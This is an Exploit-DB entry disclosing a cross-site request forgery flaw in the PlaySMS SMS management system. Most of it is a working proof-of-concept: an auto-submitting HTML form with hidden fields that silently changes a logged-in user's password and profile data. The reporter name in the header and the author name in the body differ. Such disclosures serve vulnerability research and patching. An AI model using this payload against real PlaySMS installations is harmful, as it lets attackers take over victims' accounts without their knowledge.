PlaySms <= - CSRF

ID EDB-ID:30177
Type exploitdb
Reporter Saadi Siddiqui
Modified 2013-12-10T00:00:00


PlaySms <= - CSRF. Webapps exploit for php platform

                                            # Exploit Title  : PlaySMS &lt;= CSRF
# Date           : 2013/12/9
# Exploit Author : Saadat Ullah ,
# Software Link  :
# Author HomePage:
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

# Cross-site request forgery

Playsms is an open source SMS managment system , suffers from Cross-site request forgery through which attacker can manipulate user data via sending him malicious craft url.

Playsms is not using any security token to prevent it against CSRF.You can manipulate any userdata.
PoC and Exploit to change user password:

 &lt;body onload="javascript:document.forms[0].submit()"&gt;
&lt;form  name="ex"action="http://localhost/playsms/web/index.php?app=menu&inc=user_pref&op=user_pref_save" method=post enctype="multipart/form-data"&gt;

			&lt;input type=hidden size=30 maxlength=30 name=up_password value="admin"&gt;
			&lt;input type=hidden size=30 maxlength=30 name=up_password_conf value="admin"&gt;
			&lt;input type=hidden size=30 maxlength=100 name=up_name value="admin"&gt;
			&lt;input type=hidden size=30 maxlength=30 name=up_email value=""&gt;

			&lt;td&gt;&lt;input type=hidden size=30 maxlength=250 name=up_address value=""&gt;&lt;/td&gt;
			&lt;td&gt;&lt;input type=hidden size=30 maxlength=100 name=up_city value=""&gt;&lt;/td&gt;

			&lt;td&gt;&lt;input type=hidden size=30 maxlength=100 name=up_state value=""&gt;&lt;/td&gt;
			&lt;td&gt;&lt;input type=hidden size=10 maxlength=10 name=up_zipcode value=""&gt;&lt;/td&gt;

&lt;input type=submit class=button value='Save'&gt; 

#Independent Pakistani Security Researcher